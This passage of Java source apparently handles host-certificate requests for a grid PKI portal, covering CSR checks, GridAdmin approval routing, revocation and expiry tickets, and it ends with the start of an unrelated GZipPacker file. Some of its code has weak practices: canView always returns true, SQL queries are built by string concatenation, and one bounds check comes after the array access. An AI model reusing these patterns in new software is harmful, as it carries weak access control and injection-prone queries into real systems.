for(String san : sans) {
if(!cnv.isValid(san)) {
throw new CertificateRequestException("SAN specified is invalid: " + san + " .. " + cnv.getErrorMessage());
}
}
//check private key strength
SubjectPublicKeyInfo pkinfo = csr.getSubjectPublicKeyInfo();
RSAKeyParameters rsa = (RSAKeyParameters) PublicKeyFactory.createKey(pkinfo);
int keysize = rsa.getModulus().bitLength();
if(keysize < 2048) {
throw new CertificateRequestException("Please use RSA keysize greater than or equal to 2048 bits.");
}
cns_sa.set(idx, cn);
} catch (IOException e) {
log.error("Failed to base64 decode CSR", e);
throw new CertificateRequestException("Failed to base64 decode CSR:"+csr_string, e);
} catch (NullPointerException e) {
log.error("(probably) couldn't find CN inside the CSR:"+csr_string, e);
throw new CertificateRequestException("Failed to base64 decode CSR", e);
}
csrs_sa.set(idx++, csr_string);
}
rec.csrs = csrs_sa.toXML();
rec.cns = cns_sa.toXML();
StringArray empty = new StringArray(csrs.size());
String empty_xml = empty.toXML();
rec.cert_certificate = empty_xml;
rec.cert_intermediate = empty_xml;
rec.cert_pkcs7 = empty_xml;
rec.cert_serial_ids = empty_xml;
try {
ArrayList<ContactRecord> gas = findGridAdmin(rec);
//find if submitter is ga
boolean submitter_is_ga = false;
for(ContactRecord ga : gas) {
if(ga.id.equals(rec.requester_contact_id)) {
submitter_is_ga = true;
break;
}
}
//now submit - after this, we are commited.
Integer request_id = super.insert(rec);
if(submitter_is_ga) {
ticket.description = "Host certificate request has been submitted by a GridAdmin.\n\n";
//ticket.mail_suppression_assignees = true;
//ticket.mail_suppression_submitter = true;
//ticket.mail_suppression_ccs = true;
} else {
ticket.description = "Dear GridAdmin; ";
for(ContactRecord ga : gas) {
ticket.description += ga.name + ", ";
ticket.ccs.add(ga.primary_email);
}
ticket.description += "\n\n";
ticket.description += "Host certificate request has been submitted. ";
ticket.description += "Please determine this request's authenticity, and approve / disapprove at " + getTicketUrl(request_id) + "\n\n";
}
ticket.description += "CNs requested:\n";
for(String cn : cns_sa.getAll()) {
ticket.description += "/CN=" + cn + "\n";
}
Authorization auth = context.getAuthorization();
ticket.description += "Requester IP:" + context.getRemoteAddr() + "\n";
if(auth.isUser()) {
ContactRecord user = auth.getContact();
ticket.description += "Submitter is OIM authenticated with DN:" + auth.getUserDN() + "\n";
}
if(request_comment != null) {
ticket.description += "Requester Comment: "+request_comment;
}
ticket.assignees.add(StaticConfig.conf.getProperty("certrequest.host.assignee"));
ticket.nextaction = "GridAdmin to verify requester";
Calendar nad = Calendar.getInstance();
nad.add(Calendar.DATE, 7);
ticket.nad = nad.getTime();
//set metadata
ticket.metadata.put("SUBMITTED_VIA", "OIM/CertManager(host)");
if(auth.isUser()) {
ticket.metadata.put("SUBMITTER_DN", auth.getUserDN());
}
//all ready to submit request
Footprints fp = new Footprints(context);
log.debug("opening footprints ticket");
String ticket_id = fp.open(ticket);
log.debug("update request record with goc ticket id");
rec.goc_ticket_id = ticket_id;
context.setComment("Opened GOC Ticket " + ticket_id);
super.update(get(request_id), rec);
log.debug("request updated");
} catch (SQLException e) {
throw new CertificateRequestException("Failed to insert host certificate request record", e);
}
log.debug("returnign rec");
return rec;
}
//find gridadmin who should process the request - identify domain from csrs
//if there are more than 1 vos group, then user must specify approver_vo_id
// * it could be null for gridadmin with only 1 vo group, and approver_vo_id will be reset to the correct VO ID
public ArrayList<ContactRecord> findGridAdmin(CertificateRequestHostRecord rec) throws CertificateRequestException
{
GridAdminModel gamodel = new GridAdminModel(context);
String gridadmin_domain = null;
int idx = 0;
ArrayList<String> domains = new ArrayList<String>();
String[] csrs = rec.getCSRs();
if(csrs.length == 0) {
throw new CertificateRequestException("No CSR");
}
for(String csr_string : csrs) {
//parse CSR and pull CN
String cn;
ArrayList<String> sans;
try {
PKCS10CertificationRequest csr = CertificateManager.parseCSR(csr_string);
cn = CertificateManager.pullCNFromCSR(csr);
sans = CertificateManager.pullSANFromCSR(csr);
} catch (IOException e) {
log.error("Failed to base64 decode CSR", e);
throw new CertificateRequestException("Failed to base64 decode CSR:"+csr_string, e);
} catch (NullPointerException e) {
log.error("(probably) couldn't find CN inside the CSR:"+csr_string, e);
throw new CertificateRequestException("Failed to base64 decode CSR", e);
} catch(Exception e) {
throw new CertificateRequestException("Failed to decode CSR", e);
}
//lookup registered gridadmin domain
String domain = null;
try {
domain = gamodel.getDomainByFQDN(cn);
} catch (SQLException e) {
throw new CertificateRequestException("Failed to lookup GridAdmin to approve host:" + cn, e);
}
if(domain == null) {
throw new CertificateRequestException("The hostname you have provided in the CSR/CN=" + cn + " does not match any domain OIM is currently configured to issue certificates for.\n\nPlease double check the CN you have specified. If you'd like to be a GridAdmin for this domain, please open GOC Ticket at https://ticket.grid.iu.edu ");
}
//make sure same set of gridadmin approves all host
if(gridadmin_domain == null) {
gridadmin_domain = domain;
log.debug("first domain is " + gridadmin_domain);
} else {
if(!gridadmin_domain.equals(domain)) {
//throw new CertificateRequestException("All host certificates must be approved by the same set of gridadmins. Different for " + cn);
domains.add(domain);
log.debug("Next domain is " + domain);
}
}
//make sure SANs are also approved by the same domain or share a common GridAdmin
for(String san : sans) {
try {
String san_domain = gamodel.getDomainByFQDN(san);
if(!gridadmin_domain.equals(san_domain)) {
//throw new CertificateRequestException("All SAN must be approved by the same set of gridadmins. Different for " + san);
domains.add(san_domain);
log.debug("san domain is " + san_domain);
}
} catch (SQLException e) {
throw new CertificateRequestException("Failed to lookup GridAdmin for SAN:" + san, e);
}
}
}
try {
//for first domain in the list, add the grid admins. For each additional domain remove all non-matching grid-admins
ArrayList<ContactRecord> gas = new ArrayList<ContactRecord> ();
HashMap<VORecord, ArrayList<GridAdminRecord>> groups = gamodel.getByDomainGroupedByVO(gridadmin_domain);
if(groups.size() == 0) {
throw new CertificateRequestException("No gridadmin exists for domain: " + gridadmin_domain);
}
if(groups.size() == 1 && rec.approver_vo_id == null) {
//set approver_vo_id to the one and only one vogroup's vo id
Iterator<VORecord> it = groups.keySet().iterator();
VORecord vorec = it.next();
rec.approver_vo_id = vorec.id;
}
String vonames = "";
for(VORecord vo : groups.keySet()) {
vonames += vo.name + ", "; //just in case we might need to report error message later
if(vo.id.equals(rec.approver_vo_id)) {
log.debug("found a match.. return the list " + vo.name);
gas.addAll(GAsToContacts(groups.get(vo)));
}
}
for (String domain : domains) {
//HashMap<VORecord, ArrayList<GridAdminRecord>> groups = gamodel.getByDomainGroupedByVO(gridadmin_domain);
log.debug("looking up approvers for domain " + domain);
groups = gamodel.getByDomainGroupedByVO(domain);
if(groups.size() == 0) {
throw new CertificateRequestException("No gridadmin exists for domain: " + domain);
}
if(groups.size() == 1 && rec.approver_vo_id == null) {
Iterator<VORecord> it = groups.keySet().iterator();
VORecord vorec = it.next();
rec.approver_vo_id = vorec.id;
log.debug("set approver_vo_id to the one and only one vogroup's vo id " + rec.approver_vo_id);
}
vonames = "";
log.debug("For each vo record for " + domain);
int match_id = 0;
for(VORecord vo : groups.keySet()) {
log.debug(vo.name);
vonames += vo.name + ", "; //just in case we might need to report error message later
if(vo.id.equals(rec.approver_vo_id)) {
match_id = vo.id;
log.debug("found an exact match.. return the list " + vo.name);
ArrayList<ContactRecord> newgas = GAsToContacts(groups.get(vo));
if (newgas.isEmpty()) {
log.debug("no contacts for " + vo.name);
}
ArrayList<ContactRecord> sharedgas = new ArrayList<ContactRecord>();
for(ContactRecord contact: newgas) {
log.debug("checking contact name " + contact.name);
if (gas.contains(contact)) {
sharedgas.add(contact);
log.debug("adding " + contact.name);
}
}
gas = sharedgas;
//return GAsToContacts(gas);
}
}
if (match_id == 0) {
for(VORecord vo : groups.keySet()) {
log.debug(vo.name);
vonames += vo.name + ", "; //just in case we might need to report error message later
//if(vo.id.equals(rec.approver_vo_id)) {
log.debug("matching using the list " + vo.name);
ArrayList<ContactRecord> newgas = GAsToContacts(groups.get(vo));
if (newgas.isEmpty()) {
log.debug("no contacts for " + vo.name);
}
ArrayList<ContactRecord> sharedgas = new ArrayList<ContactRecord>();
for(ContactRecord contact: newgas) {
log.debug("checking contact name " + contact.name);
if (gas.contains(contact)) {
sharedgas.add(contact);
log.debug("adding " + contact.name);
}
}
gas = sharedgas;
//return GAsToContacts(gas);
}
}
}
if (!gas.isEmpty()) {
return gas;
}
else {
//oops.. didn't find specified vo..
throw new CertificateRequestException("Couldn't find GridAdmin group under specified VO.");
}
} catch (SQLException e) {
throw new CertificateRequestException("Failed to lookup gridadmin contacts for domain:" + gridadmin_domain, e);
}
}
public ArrayList<ContactRecord> GAsToContacts(ArrayList<GridAdminRecord> gas) throws SQLException {
//convert contact_id to contact record
ArrayList<ContactRecord> contacts = new ArrayList<ContactRecord>();
ContactModel cmodel = new ContactModel(context);
for(GridAdminRecord ga : gas) {
log.debug("adding contact id " + ga.contact_id);
contacts.add(cmodel.get(ga.contact_id));
}
return contacts;
}
//NO-AC
public void requestRevoke(CertificateRequestHostRecord rec) throws CertificateRequestException {
rec.status = CertificateRequestStatus.REVOCATION_REQUESTED;
try {
super.update(get(rec.id), rec);
} catch (SQLException e) {
log.error("Failed to request revocation of host certificate: " + rec.id);
throw new CertificateRequestException("Failed to update request status", e);
}
Footprints fp = new Footprints(context);
FPTicket ticket = fp.new FPTicket();
Authorization auth = context.getAuthorization();
if(auth.isUser()) {
ContactRecord contact = auth.getContact();
ticket.description = contact.name + " has requested revocation of this certificate request.";
} else {
ticket.description = "Guest user with IP:" + context.getRemoteAddr() + " has requested revocation of this certificate request.";
}
ticket.description += "\n\nPlease approve / disapprove this request at " + getTicketUrl(rec.id);
ticket.nextaction = "Grid Admin to process request."; //nad will be set to 7 days from today by default
ticket.status = "Engineering"; //I need to reopen resolved ticket.
fp.update(ticket, rec.goc_ticket_id);
}
//NO-AC
//return true if success
public void cancel(CertificateRequestHostRecord rec) throws CertificateRequestException {
try {
if( //rec.status.equals(CertificateRequestStatus.RENEW_REQUESTED) ||
rec.status.equals(CertificateRequestStatus.REVOCATION_REQUESTED)) {
rec.status = CertificateRequestStatus.ISSUED;
} else {
rec.status = CertificateRequestStatus.CANCELED;
}
super.update(get(rec.id), rec);
} catch (SQLException e) {
log.error("Failed to cancel host certificate request:" + rec.id);
throw new CertificateRequestException("Failed to cancel request status", e);
}
Footprints fp = new Footprints(context);
FPTicket ticket = fp.new FPTicket();
Authorization auth = context.getAuthorization();
if(auth.isUser()) {
ContactRecord contact = auth.getContact();
ticket.description = contact.name + " has canceled this request.\n\n";
} else {
//Guest can still cancel by providing the password used to submit the request.
}
for(String cn : rec.getCNs()) {
ticket.description += "/CN=" + cn + "\n";
}
ticket.description += "\n\n> " + context.getComment();
ticket.status = "Resolved";
fp.update(ticket, rec.goc_ticket_id);
}
public void reject(CertificateRequestHostRecord rec) throws CertificateRequestException {
if( //rec.status.equals(CertificateRequestStatus.RENEW_REQUESTED)||
rec.status.equals(CertificateRequestStatus.REVOCATION_REQUESTED)) {
rec.status = CertificateRequestStatus.ISSUED;
} else {
//all others
rec.status = CertificateRequestStatus.REJECTED;
}
try {
//context.setComment("Certificate Approved");
super.update(get(rec.id), rec);
} catch (SQLException e) {
log.error("Failed to reject host certificate request:" + rec.id);
throw new CertificateRequestException("Failed to reject request status", e);
}
Footprints fp = new Footprints(context);
FPTicket ticket = fp.new FPTicket();
Authorization auth = context.getAuthorization();
if(auth.isUser()) {
ContactRecord contact = auth.getContact();
ticket.description = contact.name + " has rejected this certificate request.\n\n";
for(String cn : rec.getCNs()) {
ticket.description += "/CN=" + cn + "\n";
}
} else {
throw new CertificateRequestException("Guest shouldn't be rejecting request");
}
ticket.description += "> " + context.getComment();
ticket.status = "Resolved";
fp.update(ticket, rec.goc_ticket_id);
}
//NO-AC
public void revoke(CertificateRequestHostRecord rec) throws CertificateRequestException {
//revoke
//CertificateManager cm = CertificateManager.Factory(context, rec.approver_vo_id);
String issuer_dn = ""; //by default
ArrayList<Certificate> chain = null;
try {
if (rec.getPKCS7s()[0] != null) {
chain = CertificateManager.parsePKCS7(rec.getPKCS7s()[0]);
X509Certificate c0 = CertificateManager.getIssuedX509Cert(chain);
X500Principal issuer = c0.getIssuerX500Principal();
issuer_dn = CertificateManager.X500Principal_to_ApacheDN(issuer);
log.debug("issuer dn is " + issuer_dn);
}
} catch (CertificateException e2) {
// TODO Auto-generated catch block
e2.printStackTrace();
} catch (CMSException e2) {
// TODO Auto-generated catch block
e2.printStackTrace();
} catch (IOException e2) {
// TODO Auto-generated catch block
//e2.printStackTrace(); -this will error for cilogon
}
CertificateManager cm = CertificateManager.Factory(issuer_dn);
try {
String[] cert_serial_ids = rec.getSerialIDs();
StringArray statuses = new StringArray(rec.cert_statuses);
for(int i = 0;i < cert_serial_ids.length; ++i) {
//for(String cert_serial_id : cert_serial_ids) {
//only revoke ones that are not yet revoked
if(statuses.get(i).equals(CertificateRequestStatus.ISSUED)) {
String cert_serial_id = cert_serial_ids[i];
log.info("Revoking certificate with serial ID: " + cert_serial_id);
cm.revokeHostCertificate(cert_serial_id);
statuses.set(i, CertificateRequestStatus.REVOKED); //TODO - how do I know the revocation succeeded or not?
}
}
rec.cert_statuses = statuses.toXML();
} catch (CertificateProviderException e1) {
log.error("Failed to revoke host certificate", e1);
throw new CertificateRequestException("Failed to revoke host certificate", e1);
}
rec.status = CertificateRequestStatus.REVOKED;
try {
//context.setComment("Certificate Approved");
super.update(get(rec.id), rec);
} catch (SQLException e) {
log.error("Failed to update host certificate status: " + rec.id);
throw new CertificateRequestException("Failed to update host certificate status", e);
}
Footprints fp = new Footprints(context);
FPTicket ticket = fp.new FPTicket();
Authorization auth = context.getAuthorization();
if(auth.isUser()) {
ContactRecord contact = auth.getContact();
ticket.description = contact.name + " has revoked this certificate.\n\n";
for(String cn : rec.getCNs()) {
ticket.description += "/CN=" + cn + "\n";
}
} else {
throw new CertificateRequestException("Guest shouldn't be revoking certificate");
}
ticket.description += "> " + context.getComment();
ticket.status = "Resolved";
fp.update(ticket, rec.goc_ticket_id);
}
//NO-AC
public void revoke(CertificateRequestHostRecord rec, int idx) throws CertificateRequestException {
//make sure we have valid idx
String[] cert_serial_ids = rec.getSerialIDs();
String cert_serial_id = cert_serial_ids[idx];
StringArray statuses = new StringArray(rec.cert_statuses);
if(idx >= cert_serial_ids.length) {
throw new CertificateRequestException("Invalid certififcate index:"+idx);
}
//revoke one
CertificateManager cm = CertificateManager.Factory(context, rec.approver_vo_id);
try {
log.info("Revoking certificate with serial ID: " + cert_serial_id);
cm.revokeHostCertificate(cert_serial_id);
statuses.set(idx, CertificateRequestStatus.REVOKED); //TODO - how do I know the revocation succeeded or not?
rec.cert_statuses = statuses.toXML();
} catch (CertificateProviderException e1) {
log.error("Failed to revoke host certificate", e1);
throw new CertificateRequestException("Failed to revoke host certificate", e1);
}
//set rec.status to REVOKED if all certificates are revoked
boolean allrevoked = true;
for(int i = 0;i < cert_serial_ids.length; ++i) {
if(!statuses.get(i).equals(CertificateRequestStatus.REVOKED)) {
allrevoked = false;
break;
}
}
if(allrevoked) {
rec.status = CertificateRequestStatus.REVOKED;
}
try {
//context.setComment("Revoked certificate with serial ID:"+cert_serial_id);
super.update(get(rec.id), rec);
} catch (SQLException e) {
log.error("Failed to update host certificate status: " + rec.id);
throw new CertificateRequestException("Failed to update host certificate status", e);
}
Footprints fp = new Footprints(context);
FPTicket ticket = fp.new FPTicket();
Authorization auth = context.getAuthorization();
if(auth.isUser()) {
ContactRecord contact = auth.getContact();
ticket.description = contact.name + " has revoked a certificate with serial ID:"+cert_serial_id+".\n\n";
for(String cn : rec.getCNs()) {
ticket.description += "/CN=" + cn + "\n";
}
} else {
throw new CertificateRequestException("Guest shouldn't be revoking certificate!");
}
ticket.description += "> " + context.getComment();
//ticket.status = "Resolved";
fp.update(ticket, rec.goc_ticket_id);
}
//determines if user should be able to view request details, logs, and download certificate (pkcs12 is session specific)
public boolean canView(CertificateRequestHostRecord rec) {
return true;
}
//true if user can approve request
public boolean canApprove(CertificateRequestHostRecord rec) {
if(!canView(rec)) return false;
if( //rec.status.equals(CertificateRequestStatus.RENEW_REQUESTED) ||
rec.status.equals(CertificateRequestStatus.REQUESTED)) {
//^RA doesn't *approve* REVOKE_REQUESTED - RA just click on REVOKE button
if(auth.isUser()) {
//grid admin can appove it
ContactRecord user = auth.getContact();
try {
ArrayList<ContactRecord> gas = findGridAdmin(rec);
for(ContactRecord ga : gas) {
if(ga.id.equals(user.id)) {
return true;
}
}
} catch (CertificateRequestException e) {
log.error("Failed to lookup gridadmin for " + rec.id + " while processing canApprove()", e);
}
}
}
return false;
}
public LogDetail getLastApproveLog(ArrayList<LogDetail> logs) {
for(LogDetail log : logs) {
if(log.status.equals("APPROVED")) {
return log;
}
}
return null;
}
public boolean canReject(CertificateRequestHostRecord rec) {
return canApprove(rec); //same rule as approval
}
public boolean canCancel(CertificateRequestHostRecord rec) {
if(!canView(rec)) return false;
if( rec.status.equals(CertificateRequestStatus.REQUESTED) ||
rec.status.equals(CertificateRequestStatus.APPROVED) || //if renew_requesterd > approved cert is canceled, it should really go back to "issued", but currently it doesn't.
//rec.status.equals(CertificateRequestStatus.RENEW_REQUESTED) ||
rec.status.equals(CertificateRequestStatus.REVOCATION_REQUESTED)) {
if(auth.isUser()) {
if(auth.allows("admin_gridadmin")) return true; //if user has admin_gridadmin priv (probably pki staff), then he/she can cancel it
//requester can cancel one's own request
if(rec.requester_contact_id != null) {//could be null if guest submitted it
ContactRecord contact = auth.getContact();
if(rec.requester_contact_id.equals(contact.id)) return true;
}
//grid admin can cancel it
ContactRecord user = auth.getContact();
try {
ArrayList<ContactRecord> gas = findGridAdmin(rec);
for(ContactRecord ga : gas) {
if(ga.id.equals(user.id)) {
return true;
}
}
} catch (CertificateRequestException e) {
log.error("Failed to lookup gridadmin for " + rec.id + " while processing canCancel()", e);
}
}
}
return false;
}
//why can't we just issue certificate after it's been approved? because we might have to create pkcs12
public boolean canIssue(CertificateRequestHostRecord rec) {
if(!canView(rec)) return false;
if( rec.status.equals(CertificateRequestStatus.APPROVED)) {
if(rec.requester_contact_id == null) {
//anyone can issue guest request
return true;
} else {
if(auth.isUser()) {
ContactRecord contact = auth.getContact();
//requester can issue
if(rec.requester_contact_id.equals(contact.id)) return true;
}
}
}
return false;
}
public boolean canRequestRevoke(CertificateRequestHostRecord rec) {
if(!canView(rec)) return false;
if(rec.status.equals(CertificateRequestStatus.ISSUED)) {
if(auth.isUser() && canRevoke(rec)) {
//if user can directly revoke it, no need to request it
return false;
}
//all else, allow
return true;
}
return false;
}
public boolean canRevoke(CertificateRequestHostRecord rec) {
if(!canView(rec)) return false;
if( rec.status.equals(CertificateRequestStatus.ISSUED) ||
rec.status.equals(CertificateRequestStatus.REVOCATION_REQUESTED)) {
if(auth.isUser()) {
if(auth.allows("admin_gridadmin")) return true; //if user has admin_gridadmin priv (probably pki staff), then he/she can revoke it
//requester oneself can revoke it
if(rec.requester_contact_id != null) {//could be null if guest submitted it
ContactRecord contact = auth.getContact();
if(rec.requester_contact_id.equals(contact.id)) return true;
}
//grid admin can revoke it
ContactRecord user = auth.getContact();
try {
ArrayList<ContactRecord> gas = findGridAdmin(rec);
for(ContactRecord ga : gas) {
if(ga.id.equals(user.id)) {
return true;
}
}
} catch (CertificateRequestException e) {
log.error("Failed to lookup gridadmin for " + rec.id + " while processing canRevoke()", e);
}
}
}
return false;
}
//canRevokeOne
public boolean canRevoke(CertificateRequestHostRecord rec, int idx) {
if(!canRevoke(rec)) return false;
StringArray statuses = new StringArray(rec.cert_statuses);
return statuses.get(idx).equals(CertificateRequestStatus.ISSUED);
}
//NO AC
public CertificateRequestHostRecord getBySerialID(String serial_id) throws SQLException {
serial_id = normalizeSerialID(serial_id);
CertificateRequestHostRecord rec = null;
ResultSet rs = null;
Connection conn = connectOIM();
PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM "+table_name+ " WHERE cert_serial_ids like ?");
pstmt.setString(1, "%>"+serial_id+"<%");
if (pstmt.executeQuery() != null) {
rs = pstmt.getResultSet();
if(rs.next()) {
rec = new CertificateRequestHostRecord(rs);
}
}
pstmt.close();
conn.close();
return rec;
}
//pass null to not filter
public ArrayList<CertificateRequestHostRecord> search(String cns_contains, String status, Date request_after, Date request_before, Integer signer) throws SQLException {
ArrayList<CertificateRequestHostRecord> recs = new ArrayList<CertificateRequestHostRecord>();
ResultSet rs = null;
Connection conn = connectOIM();
String sql = "SELECT * FROM "+table_name+" WHERE 1 = 1";
if(cns_contains != null) {
sql += " AND cns like \"%"+StringEscapeUtils.escapeSql(cns_contains)+"%\"";
}
if(status != null) {
sql += " AND status = \""+StringEscapeUtils.escapeSql(status)+"\"";
}
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
if(request_after != null) {
sql += " AND request_time >= \""+sdf.format(request_after) + "\"";
}
if(request_before != null) {
sql += " AND request_time <= \""+sdf.format(request_before) + "\"";
}
PreparedStatement stmt = conn.prepareStatement(sql);
rs = stmt.executeQuery();
while(rs.next()) {
CertificateRequestHostRecord cr = new CertificateRequestHostRecord(rs);
if (signer != null) {
log.debug("cr signer " + cr.getSigner());
if ((signer == 0 && cr.getSigner().matches("(.*)CILogon(.*)")) || (signer == 1 && cr.getSigner().matches("(.*)DigiCert(.*)"))) {
recs.add(cr);
}
}
else {
recs.add(cr);
}
}
stmt.close();
conn.close();
return recs;
}
//prevent low level access - please use model specific actions
@Override
public Integer insert(CertificateRequestHostRecord rec) throws SQLException
{
throw new UnsupportedOperationException("Please use model specific actions instead (request, approve, reject, etc..)");
}
@Override
public void update(CertificateRequestHostRecord oldrec, CertificateRequestHostRecord newrec) throws SQLException
{
throw new UnsupportedOperationException("Please use model specific actions instead (request, approve, reject, etc..)");
}
@Override
public void remove(CertificateRequestHostRecord rec) throws SQLException
{
throw new UnsupportedOperationException("disallowing remove cert request..");
}
@Override
CertificateRequestHostRecord createRecord() throws SQLException {
// TODO Auto-generated method stub
return null;
}
public void notifyExpiringIn(Integer days_less_than) throws SQLException {
final SimpleDateFormat dformat = new SimpleDateFormat();
dformat.setTimeZone(auth.getTimeZone());
ContactModel cmodel = new ContactModel(context);
//process host certificate requests
log.debug("Looking for host certificate expiring in " + days_less_than + " days");
for(CertificateRequestHostRecord rec : findExpiringIn(days_less_than)) {
log.debug("host cert: " + rec.id + " expires on " + dformat.format(rec.cert_notafter));
Date expiration_date = rec.cert_notafter;
//user can't renew host certificate, so instead of keep notifying, let's just notify only once by limiting the time window
//when notification can be sent out
Calendar today = Calendar.getInstance();
if((rec.cert_notafter.getTime() - today.getTimeInMillis()) < 1000*3600*24*23) {
log.info("Aborting expiration notification for host certificate " + rec.id + " - it's expiring in less than 23 days");
continue;
}
//send notification
Footprints fp = new Footprints(context);
FPTicket ticket = fp.new FPTicket();
ticket.description = "Dear " + rec.requester_name + ",\n\n";
ticket.description += "Your host certificates will expire on "+dformat.format(expiration_date)+"\n\n";
//list CNs - per Horst's request.
for(String cn : rec.getCNs()) {
ticket.description += cn+"\n";
}
ticket.description+= "\n";
ticket.description += "Please request for new host certificate(s) for replacements.\n\n";
ticket.description += "Please visit "+getTicketUrl(rec.id)+" for more details.\n\n";
//don't send to CCs
ticket.mail_suppression_ccs = true;
if(StaticConfig.isDebug()) {
log.debug("skipping (this is debug) ticket update on ticket : " + rec.goc_ticket_id + " to notify expiring host certificate");
log.debug(ticket.description);
log.debug(ticket.status);
} else {
fp.update(ticket, rec.goc_ticket_id);
log.info("updated goc ticket : " + rec.goc_ticket_id + " to notify expiring host certificate");
}
}
}
public ArrayList<CertificateRequestHostRecord> findExpiringIn(Integer days) throws SQLException {
ArrayList<CertificateRequestHostRecord> recs = new ArrayList<CertificateRequestHostRecord>();
ResultSet rs = null;
Connection conn = connectOIM();
Statement stmt = conn.createStatement();
stmt.execute("SELECT * FROM "+table_name + " WHERE status = '"+CertificateRequestStatus.ISSUED+"' AND CURDATE() > DATE_SUB( cert_notafter, INTERVAL "+days+" DAY )");
rs = stmt.getResultSet();
while(rs.next()) {
recs.add(new CertificateRequestHostRecord(rs));
}
stmt.close();
conn.close();
return recs;
}
public void processCertificateExpired() throws SQLException {
//search for expired certificates
ResultSet rs = null;
Connection conn = connectOIM();
Statement stmt = conn.createStatement();
if (stmt.execute("SELECT * FROM "+table_name+ " WHERE status = '"+CertificateRequestStatus.ISSUED+"' AND cert_notafter < CURDATE()")) {
rs = stmt.getResultSet();
while(rs.next()) {
CertificateRequestHostRecord rec = new CertificateRequestHostRecord(rs);
StringArray statuses = new StringArray(rec.csrs.length());
for(int c = 0; c < rec.csrs.length(); ++c) {
statuses.set(c, CertificateRequestStatus.EXPIRED);
}
rec.cert_statuses = statuses.toXML();
rec.status = CertificateRequestStatus.EXPIRED;
context.setComment("Certificate is no longer valid.");
super.update(get(rec.id), rec);
// update ticket
Footprints fp = new Footprints(context);
FPTicket ticket = fp.new FPTicket();
ticket.description = "Certificate(s) has been expired.";
for(String cn : rec.getCNs()) {
ticket.description += "/CN=" + cn + "\n";
}
if(StaticConfig.isDebug()) {
log.debug("skipping (this is debug) ticket update on ticket : " + rec.goc_ticket_id + " to notify expired host certificate");
log.debug(ticket.description);
log.debug(ticket.status);
} else {
fp.update(ticket, rec.goc_ticket_id);
log.info("updated goc ticket : " + rec.goc_ticket_id + " to notify expired host certificate");
}
log.info("sent expiration notification for user certificate request: " + rec.id + " (ticket id:"+rec.goc_ticket_id+")");
}
}
stmt.close();
conn.close();
}
//search for approved request that is too old (call this every day)
public void processStatusExpired() throws SQLException {
ResultSet rs = null;
Connection conn = connectOIM();
Statement stmt = conn.createStatement();
//approved in exactly 15 days ago
if (stmt.execute("SELECT * FROM "+table_name+ " WHERE status = '"+CertificateRequestStatus.APPROVED+"' AND DATEDIFF(NOW() ,update_time) = 15")) {
rs = stmt.getResultSet();
while(rs.next()) {
CertificateRequestHostRecord rec = new CertificateRequestHostRecord(rs);
// update ticket
Footprints fp = new Footprints(context);
FPTicket ticket = fp.new FPTicket();
ContactModel cmodel = new ContactModel(context);
//send notification
ticket.description = "Dear " + rec.requester_name + ",\n\n";
ticket.description += "Your host certificate (id: "+rec.id+") was approved 15 days ago. The request is scheduled to be automatically canceled within another 15 days. Please take this opportunity to download your approved certificate at your earliest convenience. If you are experiencing any trouble with the issuance of your certificate, please feel free to contact the GOC for further assistance. Please visit "+getTicketUrl(rec.id)+" to issue your host certificate.\n\n";
for(String cn : rec.getCNs()) {
ticket.description += "/CN=" + cn + "\n";
}
if(StaticConfig.isDebug()) {
log.debug("skipping (this is debug) ticket update on ticket : " + rec.goc_ticket_id + " to notify expiring status for host certificate");
log.debug(ticket.description);
log.debug(ticket.status);
} else {
fp.update(ticket, rec.goc_ticket_id);
log.info("updated goc ticket : " + rec.goc_ticket_id + " to notify expiring status for host certificate");
}
log.info("sent approval expiration warning notification for host certificate request: " + rec.id + " (ticket id:"+rec.goc_ticket_id+")");
}
}
//approved 30 days ago
if (stmt.execute("SELECT * FROM "+table_name+ " WHERE status = '"+CertificateRequestStatus.APPROVED+"' AND DATEDIFF(NOW() ,update_time) = 30")) {
rs = stmt.getResultSet();
while(rs.next()) {
CertificateRequestHostRecord rec = new CertificateRequestHostRecord(rs);
rec.status = CertificateRequestStatus.CANCELED;
context.setComment("Certificate was not issued within 30 days after approval.");
super.update(get(rec.id), rec);
// update ticket
Footprints fp = new Footprints(context);
FPTicket ticket = fp.new FPTicket();
ContactModel cmodel = new ContactModel(context);
//send notification
ticket.description = "Dear " + rec.requester_name + ",\n\n";
ticket.description += "You did not issue your host certificate (id: "+rec.id+") within 30 days from the approval. In compliance with OSG PKI policy, the request is being canceled. You are welcome to re-request if necessary at "+getTicketUrl(rec.id)+".\n\n";
ticket.status = "Resolved";
if(StaticConfig.isDebug()) {
log.debug("skipping (this is debug) ticket update on ticket : " + rec.goc_ticket_id + " to notify expired status for host certificate");
log.debug(ticket.description);
log.debug(ticket.status);
} else {
fp.update(ticket, rec.goc_ticket_id);
log.info("updated goc ticket : " + rec.goc_ticket_id + " to notify expired status for host certificate");
}
log.info("sent approval calelation notification for host certificate request: " + rec.id + " (ticket id:"+rec.goc_ticket_id+")");
}
}
stmt.close();
conn.close();
}
//used by RestServlet only once to reset approver_vo_id
public ArrayList<CertificateRequestHostRecord> findNullVO() throws SQLException {
ArrayList<CertificateRequestHostRecord> recs = new ArrayList<CertificateRequestHostRecord>();
ResultSet rs = null;
Connection conn = connectOIM();
Statement stmt = conn.createStatement();
stmt.execute("SELECT * FROM "+table_name + " WHERE approver_vo_id is NULL order by id");
rs = stmt.getResultSet();
while(rs.next()) {
recs.add(new CertificateRequestHostRecord(rs));
}
stmt.close();
conn.close();
return recs;
}
//one time function to reset cert_statuses field for all records
public void resetStatuses(PrintWriter out) throws SQLException {
out.write("CertificateRequestHostModel::resetStatuses\n");
ResultSet rs = null;
Connection conn = connectOIM();
Statement stmt = conn.createStatement();
stmt.execute("SELECT * FROM "+table_name + " WHERE cert_statuses is NULL");
rs = stmt.getResultSet();
while(rs.next()) {
CertificateRequestHostRecord rec = new CertificateRequestHostRecord(rs);
System.out.println("resetting statuses for rec id:"+rec.id);
out.write("rec id:"+rec.id+"\n");
out.write("\t certcounts:"+rec.getCNs().length+"\n");
StringArray statuses = new StringArray(rec.getCNs().length);
for(int i = 0;i<rec.getCNs().length;++i) {
statuses.set(i, rec.status);
}
rec.cert_statuses = statuses.toXML();
super.update(get(rec.id), rec);
}
stmt.close();
conn.close();
}
}
|
package rabbit.zip;
/** A class that can pack gzip streams in chunked mode.
*
* @author <a href="mailto:robo@khelekore.org">Robert Olofsson</a>
*/
public class GZipPacker {
private GZipPackState state;
/** Create a gzip packer that sends events to the given listener.
* @param listener the listener that will be notifiec when data has
* been packed.
*/
